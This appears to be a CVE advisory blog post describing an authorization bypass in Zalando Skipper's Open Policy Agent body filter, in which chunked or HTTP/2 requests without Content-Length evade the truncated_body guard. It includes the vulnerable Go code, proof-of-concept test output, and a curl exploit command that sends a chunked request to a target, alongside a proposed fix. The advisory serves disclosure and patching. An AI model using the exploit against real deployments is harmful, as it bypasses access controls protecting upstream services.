Zalando Skipper / Open Policy Agent, Authorization Bypass, CVE-2026-50197 (High) -DC-Sep2026-2439

Listen to this Post

CVE-2026-50197 affected Skipper’s OPA authorization path for chunked requests.

The original bug was an empty-body chunked bypass.

OPA saw no request body during authorization.

Skipper’s opaAuthorizeRequestWithBody filter forwards bounded body to OPA.

If body exceeds max-request-body-size, default 1 MB, Skipper truncates.

Advisory GHSA-8qqm-fp2q-v734 then showed body-inspecting policies fail OPEN.

It recommended guarding on input.truncated_body.

The recommended Rego is default allow := false.

allow if { input.truncated_body == false }.

That mitigation is incomplete.

truncated_body is computed only when content-length header exists.

Chunked HTTP/1.1 and HTTP/2 carry no content-length.

Therefore truncated_body remains false even after Skipper truncates.

The mitigated policy sees input.truncated_body == false as true.

It ALLOWS the request.

The full oversized payload is forwarded upstream.

bufferedBodyReader streams buffered prefix then drains original body.

The bypass transport is chunked or HTTP-2 without Content-Length.

That is the transport class CVE-2026-50197 was about.

GHSA-8qqm fix closed declared-Content-Length variant.

Its positive-control test used only small chunked bodies.

Root cause is in opa-envoy-plugin envoyauth/request.go.

getParsedBody checks headers[“content-length”].

checkIfHTTPBodyTruncated compares content-length to body length.

No content-length means comparison skipped.

truncated_body is reported false.

Skipper ExtractHttpBodyOptionally truncates chunked body to maxBodyBytes.

expectedSize = maxBodyBytes when req.ContentLength < 0.

OPA is told not truncated while body was truncated.

Backend receives whole payload.

This is third still-open variant.

DailyCVE Form:

Platform: Zalando Skipper OPA
Version: <= 0.27.33
Vulnerability: Body authorization bypass
Severity: High (7.5)
date: Not specified

Prediction: Not yet scheduled

(end of form)

What Undercode Say:

Analytics:

$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v
poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1
poc_truncated_body_chunked_test.go:154: [chunked ] status=200 upstream_body_bytes=66
PASS: TestTruncatedBodyChunkedBypass (0.11s)
PASS
default allow := false
allow if {
input.truncated_body == false
}
if val, ok := headers["content-length"]; ok {
truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))
if truncated { return nil, true, nil }
}
return data, false, nil
func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {
cl, _ := strconv.ParseInt(contentLength, 10, 64)
if cl != -1 && cl > bodyLength { return true, nil }
return false, nil
}

Exploit: (Educational Purposes!)

printf 'a=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | \
curl --http1.1 -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Transfer-Encoding: chunked' \
-H 'Content-Length:' \
--data-binary @- \
http://target/
req.ContentLength = -1
req.TransferEncoding = []string{"chunked"}
payload := "a=" + strings.Repeat("A", 64)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.ContentLength = -1
req.TransferEncoding = []string{"chunked"}

Protection: from this CVE

// In ExtractHttpBodyOptionally, detect remaining bytes after maxBodyBytes.
// Set synthetic content-length or dedicated metadata so input.truncated_body is true.
// Or reject with 413 when body-based authorization is enabled.
Do not rely solely on content-length.
Treat body present but not fully inspectable and no content-length as truncated.

Impact:

Bypass of OPA request-body authorization for deployments that adopted the official truncated_body mitigation.
Requests meant to be rejected are authorized and forwarded in full to the protected upstream.
Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N = 7.5 High.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top